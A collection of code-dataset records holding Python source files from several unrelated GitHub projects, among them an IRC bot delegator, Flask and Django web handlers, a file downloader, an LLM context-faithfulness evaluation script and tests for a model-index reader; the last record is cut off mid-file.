{"seq_id":"33974195043","text":"import roxar.events\r\n\r\ndef set_wdef_events(simwells, trajectory_type='Drilled trajectory'):\r\n    \"\"\"Define roxar events from SimMultiWells\r\n    Args:\r\n        simwells (SimMultiWells): Well info\r\n    Returns:\r\n        List of roxar events\r\n    \"\"\"\r\n\r\n    elist = []\r\n\r\n    for simw in simwells:\r\n        if simw.start_date is None:\r\n            continue\r\n        wname = simw.name\r\n        edate = simw.start_date\r\n\r\n        if simw.type is not None:\r\n            eve = roxar.events.Event.create(roxar.EventType.WTYPE, edate, [wname])\r\n            eve['TYPE'] = simw.type\r\n            if simw.phase is not None:\r\n                eve['PHASE'] = simw.phase\r\n            elist.append(eve)\r\n\r\n        if simw.bhpref is not None:\r\n            eve = roxar.events.Event.create(roxar.EventType.WDREF, edate, [wname])\r\n            eve['DEPTH'] = simw.bhpref\r\n            elist.append(eve)\r\n\r\n        if simw.group is not None:\r\n            eve = roxar.events.Event.create(roxar.EventType.GMEMBER, edate, [simw.group])\r\n            eve['MEMBER'] = wname\r\n            elist.append(eve)\r\n\r\n        if simw.lifttab is not None:\r\n            eve = roxar.events.Event.create(roxar.EventType.WLIFTTABLE, edate, [wname])\r\n            eve['TABLEID'] = str(simw.lifttab)\r\n            elist.append(eve)\r\n\r\n        if simw.crossflow is not None:\r\n            eve = roxar.events.Event.create(roxar.EventType.WCROSSFL, edate, [wname])\r\n            eve['ON'] = simw.crossflow\r\n            elist.append(eve)\r\n\r\n        if simw.densmod is not None:\r\n            eve = roxar.events.Event.create(roxar.EventType.WDENSMOD, edate, [wname])\r\n            if simw.densmod == 'AVE':\r\n                eve['TYPE'] = 'Average'\r\n            elif simw.densmod == 'SEG':\r\n                eve['TYPE'] = 'Segregated'\r\n            else:\r\n                eve['TYPE'] = simw.densmod\r\n            elist.append(eve)\r\n\r\n        if simw.cmode is not None:\r\n            eve = roxar.events.Event.create(roxar.EventType.WCONTROL, edate, [wname])\r\n            eve['MODE'] = simw.cmode\r\n            if simw.cphase is not None:\r\n                eve['PHASE'] = simw.cphase\r\n            else:\r\n                eve['PHASE'] = 'From well type'\r\n            elist.append(eve)\r\n\r\n        if simw.mdstart is not None:\r\n            own = [wname, wname, trajectory_type]\r\n            eve = roxar.events.Event.create(roxar.EventType.WSEGMOD, edate, own)\r\n            eve['MDSTART'] = simw.mdstart\r\n            eve['MDEND'] = 10000.\r\n            eve['TYPE'] = 'Staggered'\r\n            eve['GRAV'] = True\r\n            eve['FRIC'] = True\r\n            eve['ACCEL'] = False\r\n            eve['MULTMOD'] = 'Homogeneous'\r\n            elist.append(eve)\r\n\r\n    return elist\r\n","repo_name":"RoxarAPI/roxar_api_utils","sub_path":"roxar_api_utils/events/set_wdef_events.py","file_name":"set_wdef_events.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"41929396636","text":"##\n#   This file is part of MegBot.\n#\n#   MegBot is free software: you can redistribute it and/or modify\n#   it under the terms of the GNU General Public License as published by\n#   the Free Software Foundation, either version 3 of the License, or\n#   (at your option) any later version.\n#\n#   MegBot is distributed in the hope that it will be useful,\n#   but WITHOUT ANY WARRANTY; without even the implied warranty of\n#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#   GNU General Public License for more details.\n#\n#   You should have received a copy of the GNU General Public License\n#   along with MegBot.  If not, see <http://www.gnu.org/licenses/>.\n##\n\n\"\"\"This will handle the validation and delegation of IRC messages.\nit'll always return None (even if it's valid), it'll first validate\nthe message once it has, it'll check to see a plugin should be called.\nIf a plugin should be called i.e.\n\n  nick!ident@host PRIVMSG #channel :<trigger><valid plugin>[args]\n\nthen it'll delegate that to the core executor plugin.\n\"\"\"\n\ndef main(connection, command):\n    \"\"\"Delegates to other other core items when a valid IRC command\n    is passed to it.\n\n    command: this should be a raw command passed from the IRCd (str)\n\n    e.g.\n        PING :gilman.megworld.co.uk\n        nick!ident@host PRIVMSG #megworld :this is a message.\n\n    the function will return None as it'll delegate to other core\n    modules or do nothing and return back.\n    \"\"\"\n    # we don't want to do anything if the line is blank\n    if not command:\n        return\n\n    # can we make this better?\n    info = connection.libraries[\"IRCObjects\"].Info(command, connection)\n\n    if info.action == \"PING\":\n        # Lets hand off to ping in case it's a PING message.\n        connection.core[\"Coreping\"].main(connection, info)\n\n    # Okay, we'll now see if any hooks wish to be called on it. - old system\n    connection.hooker.hook(connection, info)\n\n\n    # Make an event (new events/hook system)\n    event = connection.core[\"Corehandler\"].IRCEvent(info)\n    connection.handler.event(event)\n\n    if not info.message:\n        return\n\n    trigger = connection.settings[\"trigger\"]\n    if info.trigger != trigger:\n        return\n\n    # Okay so at this point we can say they are trying to call a plugin.\n    # first thing's first is we need to check the plugin actually exists\n\n    if info.plugin_name not in connection.plugin:\n        return\n\n    # last thing we need to do is delegate off to the executor core plugin\n    # this will put the plugin into a thread and execute it.\n    ##\n    # Remove .split() when #36 is done\n    ##\n    connection.core[\"Coreexecutor\"].main(connection, info, info.plugin_name)\n","repo_name":"tsyesika/MegBot","sub_path":"megbot/core/delegator.py","file_name":"delegator.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"72848876582","text":"from flask import redirect, render_template, request, abort, session, flash, url_for\nfrom app.db import connection\nfrom app.models.user import User\nfrom app.helpers.auth import authenticated\nfrom app.models.folder import Folder\nfrom app.models.task import Task\n\n\ndef show():\n    if not authenticated(session):\n        abort(403)\n    else:\n        id_folder = request.args.get(\"id_folder\")\n        if(id_folder == None) or (id_folder == \"\"):\n            flash(\"The 'id' field is empty!\", category=\"error\")\n            return redirect(url_for(\"user-main-menu\"))\n        conn = connection()        \n        if User.has_permision_to_open_folder(conn, session['user']['id'], id_folder):\n            folder = Folder.find_by_id(conn, id_folder)\n            if folder:\n                tasks = Task.find_by_id_folder(conn, folder['id'])\n                return render_template(\"folder/folder-show.html\", folder=folder, tasks=tasks)\n            else:\n                flash(\"The folder doesn't exist!\", category=\"error\")\n        else:\n            flash(\"You don't have permission to access that folder!\", category=\"error\")\n        return redirect(url_for(\"user-main-menu\"))\n\n\ndef create():\n    if not authenticated(session):\n        abort(403)\n    else:\n        folder_name = request.form.get(\"folder_name\")\n        if(folder_name == None) or (folder_name == \"\"):\n            flash(\"The folder must have a name!\", category=\"error\")\n            return redirect(url_for(\"user-main-menu\"))\n        conn = connection()\n        if(Folder.exists(conn, session['user']['id'], folder_name)):\n            flash(\"The folder already exists!\", category=\"error\")\n        else:\n            try:\n                Folder.create(conn, session['user']['id'], folder_name)\n                flash(\"The folder was created!\", category=\"success\")\n            except:\n                flash(\"There was an error\", category=\"error\")\n        return redirect(url_for(\"user-main-menu\"))\n\n\ndef delete():\n    if not authenticated(session):\n        abort(403)\n    else:\n        id_folder = request.form.get(\"id_folder\")\n        if(id_folder == None) or (id_folder == \"\"):\n            flash(\"The folder must have an ID!\", category=\"error\")\n            return redirect(url_for(\"user-main-menu\"))\n\n        conn = connection()\n        folder = Folder.find_by_id(conn, id_folder)\n        if not folder:\n            flash(\"The folder doesn't exist!\", category=\"error\")\n        else:\n            if folder['id_user'] == session['user']['id']:\n                try:\n                    Folder.delete(conn, session['user']['id'], id_folder)\n                    flash(\"The folder was deleted!\", category=\"success\")\n                except:\n                    flash(\"There was an error!\", category=\"error\")\n            else:\n                flash(\"You don't have access to that folder!\", category=\"error\")\n        return redirect(url_for(\"user-main-menu\"))\n\n\ndef main_menu():\n    if not authenticated(session):\n        abort(403)\n    else:\n        conn = connection()\n        folders = Folder.find_by_id_user(conn, session['user']['id'])\n        return render_template(\"user/menu.html\", folders=folders)\n","repo_name":"AxelRudz/ensolvers-to-do-list","sub_path":"app/resources/folder.py","file_name":"folder.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26960802754","text":"import numpy as np\nimport torch\nfrom ServerDL.cfgs.Protocol import *\n\n\ndef packup(prediction, segms=None, result_type=\"detection\"):\n    if result_type == \"detection\":          # detection\n        response_boxes = prediction.bbox.cpu().int().numpy().flatten().tolist()\n        response_classes = prediction.get_field(\"labels\").cpu().numpy().flatten().tolist() if prediction.has_field(\"labels\") else None\n        response_keyps = prediction.get_field(\"keypoint\").cpu().numpy().flatten().tolist() if prediction.has_field(\"keypoint\") else None  # ???不确定fieldname是不是keypoint\n        response_conf = prediction.get_field(\"scores\").cpu().numpy().flatten().tolist() if prediction.has_field(\"scores\") else None\n\n        package = {\n            KEY.REQUEST_TYPE: VALUE.REQUEST_TYPE.MODEL_PREDICT,\n            KEY.RESPONSE_STATUS: VALUE.RESPONSE_STATUS.SUCCEED,\n            KEY.PREDICTION.BOXES: response_boxes,\n            KEY.PREDICTION.BOXMODE: prediction.mode,\n        }\n        if response_classes:\n            package[KEY.PREDICTION.CLASSES] = response_classes\n        if response_conf:\n            package[KEY.PREDICTION.CONFIDENCES] = response_conf\n        if response_keyps:\n            package[KEY.PREDICTION.KEYPSINFO] = response_keyps,\n\n        if isinstance(segms, torch.Tensor):\n            segms = segms.cpu().numpy().astype(np.uint8)\n            package[KEY.PREDICTION.MASKINFO] = {KEY.PREDICTION.ROWS: segms.shape[0],\n                                        KEY.PREDICTION.COLS: segms.shape[1],\n                                      KEY.PREDICTION.CHANNELS: segms.shape[2] if len(segms.shape) == 3 else 1}\n    elif result_type == \"classification\":       # classification\n        if isinstance(prediction, torch.Tensor):\n            prediction = prediction.cpu().numpy().tolist()\n        if isinstance(prediction, np.ndarray):\n            prediction = prediction.tolist()\n        package = {\n            KEY.REQUEST_TYPE: VALUE.REQUEST_TYPE.MODEL_PREDICT,\n            KEY.RESPONSE_STATUS: VALUE.RESPONSE_STATUS.SUCCEED,\n            KEY.PREDICTION.CLASSES: list(prediction) if isinstance(prediction, list) else [prediction]\n        }\n    elif result_type == \"segmentation\":\n        assert isinstance(prediction, np.ndarray), \"segmentation is no a ndarray\"\n        segms = prediction.copy()\n        package = {\n            KEY.REQUEST_TYPE: VALUE.REQUEST_TYPE.MODEL_PREDICT,\n            KEY.RESPONSE_STATUS: VALUE.RESPONSE_STATUS.SUCCEED,\n            KEY.PREDICTION.MASKINFO: {KEY.PREDICTION.ROWS: segms.shape[0],\n                                      KEY.PREDICTION.COLS: segms.shape[1],\n                                      KEY.PREDICTION.CHANNELS: segms.shape[2] if len(segms.shape) == 3 else 1}\n        }\n\n\n    print(package)\n    return package, segms\n\n\ndef select_top_predictions(predictions, confidence_threshold):\n    scores = predictions.get_field(\"scores\")\n    keep = torch.nonzero(scores > confidence_threshold).squeeze(1)\n    predictions = predictions[keep]\n    scores = predictions.get_field(\"scores\")\n    _, idx = scores.sort(0, descending=True)\n    return predictions[idx]\n\n\n\n","repo_name":"fx19940824/DetectionModel","sub_path":"ServerDL/apis/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"21577733466","text":"\"\"\"\n\tHeartbeat\n\n\tLet Jupyter know we're still here.\n\n\tNote that unlike any other role, this socket is used via\n\traw bytes and not in a ZMQ Message envelope.\n\n\tRegardless, the heartbeat is \"send back whatever you got\"\n\tso it doesn't matter terribly much what it says.\n\"\"\"\nlogger = shared.tools.jupyter.logging.Logger()\n\nfrom datetime import datetime\n\n\n\ndef payload_handler(kernel, bytes_payload):\n\tlogger.trace('Ping recieved << %r' % (bytes_payload,))\n\tif kernel.session:\n\t\tkernel.heartbeat_socket.send(bytes_payload)\n\telse:\n\t\tkernel.heartbeat_socket.send('')\n\tlogger.trace('Ping returned >> %r' % (bytes_payload,))\n\n\t# Provide kernel with the option to check for cardiac arrest\n\tkernel.last_heartbeat = datetime.now()\n#\tlogger.info('Heartbeat    :D ')","repo_name":"ignition-kernel/ignition-project","sub_path":"resources/python/shared/tools/jupyter/handlers/heartbeat.py","file_name":"heartbeat.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40909528839","text":"import logging\nfrom datetime import datetime\n\nfrom django.conf import settings\nfrom django.db.models import Sum\nfrom rest_framework import status\n\nfrom rest_admin.src.modules.merchants.models import Merchants\nfrom rest_admin.src.modules.meals.models import Meals\n\nfrom vendor.errors import error_message\nfrom vendor.helper import helper\nfrom vendor.template import json_response\n\nimport random\n\nlogger = logging.getLogger(__name__)\n\nclass MerchantHandler():\n\n    def __init__(self, start_time):\n        self.start_time = start_time\n        \n\n    def list_merchant(self, request_body):\n        project_filter = {}\n\n        if \"category\" in request_body:\n            project_filter[\"category\"] = request_body[\"category\"]\n\n        if \"meals_time\" in request_body:\n            project_filter[\"meals_time__icontains\"] = request_body[\"meals_time\"]\n\n        merchant_list = Merchants.objects.filter(**project_filter).exclude(category=\"Mystery\").order_by('-id')\n\n        merchant = []\n        for data in merchant_list:\n            merchant.append(self.get_merchant_info(data))\n\n        resp = json_response.render_api_success_response(merchant, self.start_time, total_records=1)\n        return resp, status.HTTP_200_OK\n\n    def list_meals(self, request_body):\n        project_filter = {}\n        if \"category\" in request_body:\n            project_filter[\"category\"] = request_body[\"category\"]\n\n        if \"meals_time\" in request_body:\n            project_filter[\"meals_time__icontains\"] = request_body[\"meals_time\"]\n\n        if \"selected_date\" in request_body:\n            project_filter[\"date\"] = request_body[\"selected_date\"]\n\n        list_meal = Meals.objects.filter(**project_filter)\n        \n        meals = []\n        for item in list_meal:\n            \n            meals.append({\"id\":item.id, \n                            \"name\":item.name, \n                            \"merchant_id\":item.merchant.id, \n                            \"merchant_name\":item.merchant.name,\n                            \"price\":item.price,\n                            \"description\":item.description, \n                            \"meals_time\":item.meals_time.split(\",\"),\n                            \"date\":datetime.strptime(item.date, \"%Y-%m-%d\").strftime(\"%A, %d %b %Y\"), \n                            \"category\":item.category,\n                            \"thumbnail\":item.thumbnail})\n            \n        \n        resp = json_response.render_api_success_response(meals, self.start_time, total_records=1)\n        return resp, status.HTTP_200_OK\n\n    def get_meals_detail(self, meals_id):\n\n        try:\n            meals = Meals.objects.get(pk=meals_id)\n\n            data = {\"id\":meals.id,\n                    \"merchant_id\":meals.merchant.id,\n                    \"merchant_name\":meals.merchant.name,\n                    \"name\":meals.name,\n                    \"price\":meals.price,\n                    \"description\":meals.description, \n                    \"thumbnail\":meals.thumbnail,\n                    \"meals_time\":meals.meals_time.split(\",\")\n                    }\n\n        except Meals.DoesNotExist:\n            resp = json_response.render_api_error_response(error_message=\"Error data not found\", status=status.HTTP_404_NOT_FOUND)\n            return resp, status.HTTP_404_NOT_FOUND\n\n        resp = json_response.render_api_success_response(data, self.start_time, total_records=1)\n        return resp, status.HTTP_200_OK\n\n    def get_merchant_info(self, data, meals_displayed=False):\n\n        merchant_detail = {\"id\":data.id, \n                \"description\":data.description, \n                \"price\":data.price,\n                \"name\":data.name,\n                \"thumbnail\":data.thumbnail,\n                \"category\":data.category,\n                \"rating\":data.rating,\n                \"reviews\":data.reviews,\n                \"meals_time\":data.meals_time.split(\",\"),\n                \"created_at\":data.created_at}\n\n        if meals_displayed:\n            list_meal = Meals.objects.filter(merchant__id=data.id).order_by('date')\n            meals = []\n            for item in list_meal:\n                \n                meals.append({\"id\":item.id, \n                              \"name\":item.name, \n                              \"price\":item.price,\n                              \"description\":item.description, \n                              \"meals_time\":item.meals_time.split(\",\"),\n                              \"date\":datetime.strptime(item.date, \"%Y-%m-%d\").strftime(\"%A, %d %b %Y\"), \n                              \"category\":item.category,\n                              \"thumbnail\":item.thumbnail})\n            \n            merchant_detail[\"meals\"] = meals\n\n        return merchant_detail\n    \n    def merchant_detail(self, merchant_id):\n\n        try:\n            merchant = Merchants.objects.get(pk=merchant_id)\n            merchant_detail = self.get_merchant_info(merchant, meals_displayed=True)\n\n            resp = json_response.render_api_success_response(merchant_detail, self.start_time, total_records=1)\n            return resp, status.HTTP_200_OK\n        except Merchants.DoesNotExist:\n            status_code = status.HTTP_404_NOT_FOUND\n            resp = json_response.render_api_error_response(error_message=\"Data not found\", status=status_code)\n            return resp, status_code\n\n    ","repo_name":"tholotholo/grabbento-api","sub_path":"project/rest_api/src/modules/merchants/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16975275359","text":"from torchdrug import data, utils\nimport csv\nfrom tqdm import tqdm\n\nclass Dataset(data.MoleculeDataset):\n    target_fields = []\n\n    def __init__(self, path, verbose=1, **kwargs):\n\n        with open(path, \"r\") as fin:\n            reader = csv.reader(fin)\n            if verbose:\n                reader = iter(tqdm(reader, \"Loading %s\" %\n                              path, utils.get_line_count(path)))\n            smiles_list = []\n\n            for idx, values in enumerate(reader):\n                smiles = values[0]\n                smiles_list.append(smiles)\n\n        targets = {}\n        self.load_smiles(smiles_list, targets, lazy=False,\n                         verbose=verbose, **kwargs)\n","repo_name":"BerkinChen/drug_design","sub_path":"Molecule_Generation/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73158287781","text":"import concurrent.futures\nimport os\n\nimport requests\nimport rich.progress\n\n\ndef download(\n    url: str, file: str, progress: rich.progress.Progress, task_id: rich.progress.TaskID\n):\n    res: requests.Response = requests.get(url=url, stream=True)\n    total: int = int(res.headers.get(\"Content-Length\", default=0))\n    progress.update(task_id=task_id, total=(total if total else None))\n    os.makedirs(name=os.path.dirname(p=file), exist_ok=True)\n    with open(file=file, mode=\"wb\") as fp:\n        progress.start_task(task_id=task_id)\n        for chunk in res.iter_content(chunk_size=1024 * 1024):\n            bytes_written: int = fp.write(chunk)\n            progress.advance(task_id=task_id, advance=bytes_written)\n        if not total:\n            progress.update(task_id=task_id, total=fp.tell())\n    progress.stop_task(task_id=task_id)\n\n\ndef schedule_download(\n    url: str,\n    file: str,\n    progress: rich.progress.Progress,\n    pool: concurrent.futures.Executor,\n):\n    task_id: rich.progress.TaskID = progress.add_task(\n        description=file, start=False, total=None\n    )\n    pool.submit(download, url=url, file=file, progress=progress, task_id=task_id)\n","repo_name":"liblaf/utility-collection","sub_path":"utility_collection/common/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30220324254","text":"from Controllers import BlastController\nfrom Enums import BlastType\n\ndef main():\n    #Change these to the actual organism id's of the 6 biodiesel project bacteria\n    #Y. lipolytica => yli\n    #D. hansenii => bhan\n    #K. lactis => kla\n    #C. albicans => cal\n    blastController = BlastController('yli', 'bhan', 'kla', 'cal')\n    blastController.blast(blast_type=BlastType.tblastn, database=\"C:\\\\Users\\\\brams\\\\Documents\\\\AutomatedKeggBlast\\\\Data\\\\Input\\\\Debaryomyces_occidentalis.fas\")\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Bramsnoek/AutomatedKeggBlast","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2781108414","text":"import json\nimport re\nimport argparse\nfrom tqdm import tqdm\nfrom engine import Engine\nfrom evaluation import get_score\n\n\ndef qa_to_prompt(query, context, schema, demos=[], num_demos=16):\n    def get_prompt(query, context, schema, answer=''):\n        if schema == 'base':\n            prompt = '{}\\nQ:{}\\nA:{}'.format(context, query, answer)\n        elif schema == 'opin':\n            context = context.replace('\"', \"\")\n            prompt = 'Bob said \"{}\"\\nQ: {} in Bob\\'s opinion?\\nA:{}'.format(context, query[:-1], answer)\n        elif schema == 'instr+opin':\n            context = context.replace('\"', \"\")\n            prompt = 'Bob said \"{}\"\\nQ: {} in Bob\\'s opinion?\\nA:{}'.format(context, query[:-1], answer)\n        elif schema == 'attr':\n            prompt = '{}\\nQ:{} based on the given tex?\\nA:{}'.format(context, query[:-1], answer)\n        elif schema == 'instr':\n            prompt = '{}\\nQ:{}\\nA:{}'.format(context, query, answer)\n        return prompt\n    prompt = ''\n    if schema in ('instr', 'instr+opin'):\n        prompt = 'Instruction: read the given information and answer the corresponding question.\\n\\n'\n    for demo in demos[-num_demos:]:\n        answer = demo['answer'] if isinstance(demo['answer'], str) else demo['answer'][0]\n        demo_prompt = get_prompt(demo['question'], demo['context'], schema=schema, answer=answer)\n        prompt = prompt + demo_prompt + '\\n\\n'\n    prompt = prompt + get_prompt(query, context, schema=schema)\n    return prompt\n\ndef eval(pred_answers, orig_answers, gold_answers):\n    em, ps = get_score(pred_answers, gold_answers)\n    _, po = get_score(pred_answers, orig_answers)\n    mr = po / (ps + po + 1e-10) * 100\n    print('ps {}, po {}, mr {}, em {}.'.format(ps, po, mr, em))\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--orig_path\", default=\"./datasets/nq/orig_dev_filtered.json\", type=str)\n    parser.add_argument(\"--counter_path\", default=\"./datasets/nq/conflict_dev_filtered.json\", type=str)\n    parser.add_argument(\"--engine\", default=\"text-davinci-003\", type=str)\n    parser.add_argument(\"--schema\", default=\"base\", type=str, help=\"Choose from the following prompting templates: base, attr, instr, opin, instr+opin.\")\n    parser.add_argument(\"--demo_mode\", default=\"none\", help=\"Choose from the following demonstrations: none, original, counter.\")\n    parser.add_argument(\"--num_demos\", default=16, type=int)\n    parser.add_argument(\"--log_path\", default='', type=str)\n    args = parser.parse_args()\n    with open(args.orig_path, 'r') as fh:\n        orig_examples = json.load(fh)\n    with open(args.counter_path, 'r') as fh:\n        counter_examples = json.load(fh)\n    print('Loaded {} instances.'.format(len(counter_examples)))\n    engine = Engine(args.engine)\n\n    step = 0\n    gold_answers, pred_answers, orig_answers = [], [], []\n    for oe, ce in tqdm(zip(orig_examples, counter_examples), total=len(orig_examples)):\n        if step % 100 == 0:\n            eval(pred_answers, orig_answers, gold_answers)\n        step += 1\n        query, context, answer = ce['question'], ce['context'], ce['answer']\n        orig_answer = oe['answer']\n        if orig_answer is None:\n            continue\n        if args.demo_mode == 'none':\n            demos = []\n        elif args.demo_mode == 'counter':\n            demos = ce['ic_examples']\n        elif args.demo_mode == 'original':\n            demos = ce['ico_examples']\n        for num_demos in range(args.num_demos, 1, -1):  # Use fewer demos if prompt is too long\n            prompt = qa_to_prompt(query, context, schema=args.schema, demos=demos, num_demos=num_demos)\n            if not engine.check_prompt_length(prompt):\n                break\n        if engine.check_prompt_length(prompt):\n            continue\n        pred = engine.complete(prompt)\n        if pred is None:\n            continue\n        pred_answers.append(pred)\n        gold_answers.append(answer)\n        orig_answers.append(orig_answer)\n        # Logs\n        ce['prediction'] = pred\n        ce['orig_answer'] = orig_answer\n        ce['schema'] = args.schema\n        ce['demo_mode'] = args.demo_mode\n    if args.log_path:\n        with open(args.log_path, 'w') as fh:\n            json.dump(counter_examples, fh)\n    eval(pred_answers, orig_answers, gold_answers)\n\nif __name__ == '__main__':\n    main()","repo_name":"wzhouad/context-faithful-llm","sub_path":"knowledge_conflict.py","file_name":"knowledge_conflict.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"35"}
{"seq_id":"70439112100","text":"from pathlib import Path\n\nimport pytest\n\nfrom never_worse_reduction.format_conversion.compact_model_index import read_compact_model_index, \\\n    CompactModelIndexEntry, compile_compact_index_to_full_index\nfrom never_worse_reduction.format_conversion.model_index import convert_model_index_to_dict, read_model_index\nfrom tests import conftest\n\n\ndef get_test_dir_path() -> Path:\n    return conftest.get_test_root() / Path(\"./test_files/compact_model_index/\")\n\n\ndef test_read_compact_index_no_entries():\n    \"\"\"\n        Test to verify that empty indexes can be read.\n    \"\"\"\n    compact_index = read_compact_model_index(index_path=(get_test_dir_path() /\n                                                         \"compact_model_index_happy_no_entries.json\"))\n\n    assert compact_index.get_compact_models() == []\n\n\ndef test_read_compact_index_one_entry():\n    \"\"\"\n        Test to verify that an index with one single entry can be read correctly.\n    \"\"\"\n    compact_index = read_compact_model_index(index_path=(get_test_dir_path() /\n                                                         \"compact_model_index_happy_one_entry.json\"))\n\n    entries = compact_index.get_compact_models()\n\n    assert len(entries) == 1\n\n    entry = entries[0]\n\n    assert entry.get_filename() == \"some-model.json\"\n\n    assert entry.get_common_metadata() == {\n        \"x\": True,\n        \"y\": \"OK\"\n    }\n\n    param_sets = entry.get_param_sets()\n\n    assert len(param_sets) == 2\n\n    param_set_0 = param_sets[0]\n    param_set_1 = param_sets[1]\n\n    assert param_set_0.get_params() == {\n        \"x\": 1,\n        \"N\": -50\n    }\n\n    assert param_set_0.get_num_states() == 50\n\n    assert param_set_1.get_params() == {\n        \"x\": -653,\n        \"N\": False\n    }\n\n    assert param_set_1.get_num_states() is None\n\n    final_state_sets = entry.get_final_state_sets()\n\n    assert len(final_state_sets) == 3\n\n    final_state_set_0 = final_state_sets[0]\n    final_state_set_1 = final_state_sets[1]\n    final_state_set_2 = final_state_sets[2]\n\n    assert final_state_set_0.get_final_state_labels() == {\"x\"}\n    assert final_state_set_0.get_comment() == \"A single label\"\n\n    assert final_state_set_1.get_final_state_labels() == {\"finished\", \"end_reached\"}\n    assert final_state_set_1.get_comment() == \"Multiple labels\"\n\n    assert final_state_set_2.get_final_state_labels() == {\"third\", \"set\", \"of\", \"labels\"}\n    assert final_state_set_2.get_comment() == \"Final entry\"\n\n\ndef test_read_compact_index_multiple_entries():\n    \"\"\"\n        Test to verify that an index with multiple entries can be read correctly.\n    \"\"\"\n\n    compact_index = read_compact_model_index(index_path=(get_test_dir_path() /\n                                                         \"compact_model_index_happy_multiple_entries.json\"))\n\n    entries = compact_index.get_compact_models()\n    assert len(entries) == 3\n\n    __do_asserts_for_entry_0__(entry=entries[0])\n    __do_asserts_for_entry_1__(entry=entries[1])\n    __do_asserts_for_entry_2__(entry=entries[2])\n\n\ndef __do_asserts_for_entry_0__(entry: CompactModelIndexEntry):\n\n    assert entry.get_filename() == \"abc.json\"\n\n    assert entry.get_common_metadata() == dict()\n\n    param_sets = entry.get_param_sets()\n\n    assert len(param_sets) == 1\n\n    assert param_sets[0].get_params() == {\n        \"N\": 50,\n        \"mode\": \"automatic\"\n    }\n\n    assert param_sets[0].get_num_states() == 50\n\n    final_state_sets = entry.get_final_state_sets()\n\n    assert len(final_state_sets) == 1\n\n    assert final_state_sets[0].get_final_state_labels() == {\"state_1\", \"another_final_state\", \"interesting\"}\n    assert final_state_sets[0].get_comment() == \"explanation of the labels\"\n\n\ndef __do_asserts_for_entry_1__(entry: CompactModelIndexEntry):\n    assert entry.get_filename() == \"another_model.prism\"\n    assert entry.get_common_metadata() == {\n        \"x\": {\n            \"verified\": True\n        },\n        \"y\": [\n            {\n                \"some_entry\": 123,\n                \"values\": [1, 2, 3]\n            }\n        ],\n        \"verified\": False\n    }\n\n    param_sets = entry.get_param_sets()\n\n    assert len(param_sets) == 3\n\n    assert param_sets[0].get_params() == {\n        \"A\": -3,\n        \"B\": 5\n    }\n    assert param_sets[0].get_num_states() == 30\n\n    assert param_sets[1].get_params() == {\n        \"A\": -50,\n        \"B\": \"ABC\"\n    }\n    assert param_sets[1].get_num_states() == 36659798754548\n\n    assert param_sets[2].get_params() == {\n        \"A\": False,\n        \"B\": True\n    }\n    assert param_sets[2].get_num_states() is None\n\n    final_state_sets = entry.get_final_state_sets()\n\n    assert len(final_state_sets) == 2\n\n    assert final_state_sets[0].get_final_state_labels() == {\"x\", \"y\", \"z\"}\n    assert final_state_sets[0].get_comment() == \"...\"\n\n    assert final_state_sets[1].get_final_state_labels() == {\"a\", \"b\", \"c\", \"d\"}\n    assert final_state_sets[1].get_comment() == \"different labels\"\n\n\ndef __do_asserts_for_entry_2__(entry: CompactModelIndexEntry):\n\n    assert entry.get_filename() == \"last_model.jani\"\n    assert entry.get_common_metadata() == {\n        \"some_key\": \"some_values\"\n    }\n\n    param_sets = entry.get_param_sets()\n\n    assert len(param_sets) == 2\n\n    assert param_sets[0].get_params() == {\n        \"k\": -58962,\n        \"L\": 359840,\n        \"b\": True\n    }\n    assert param_sets[0].get_num_states() is None\n\n    assert param_sets[1].get_params() == {\n        \"k\": 8785,\n        \"L\": -3,\n        \"b\": False\n    }\n    assert param_sets[1].get_num_states() == 32\n\n    final_state_sets = entry.get_final_state_sets()\n\n    assert len(final_state_sets) == 1\n\n    assert final_state_sets[0].get_final_state_labels() == {\"A\", \"x\", \"y\"}\n    assert final_state_sets[0].get_comment() == \"some detail\"\n\n\ndef test_invalid_parameter_sets_raises_exception():\n    \"\"\"\n        Test to verify that if two or more parameter sets have different keys, then an exception is raised.\n    \"\"\"\n    with pytest.raises(ValueError) as exc_info:\n        read_compact_model_index(index_path=(get_test_dir_path()\n                                             / \"compact_model_index_exception_inconsistent_param_sets.json\"))\n\n    assert str(exc_info.value) == \"Error, compact entry at index '0' has inconsistent parameter sets.\"\n\n\ndef test_exception_no_param_set():\n    with pytest.raises(ValueError) as exc_info:\n        read_compact_model_index(index_path=(get_test_dir_path()\n                                             / \"compact_model_index_exception_no_param_sets.json\"))\n\n    assert str(exc_info.value) == \"Error, no parameter sets specified for model.\"\n\n\ndef test_exception_no_final_state_set():\n    with pytest.raises(ValueError) as exc_info:\n        read_compact_model_index(index_path=(get_test_dir_path()\n                                             / \"compact_model_index_exception_no_final_state_sets.json\"))\n\n    assert str(exc_info.value) == \"Error, no final state sets specified for model.\"\n\n\ndef test_exception_empty_final_state_set():\n    with pytest.raises(ValueError) as exc_info:\n        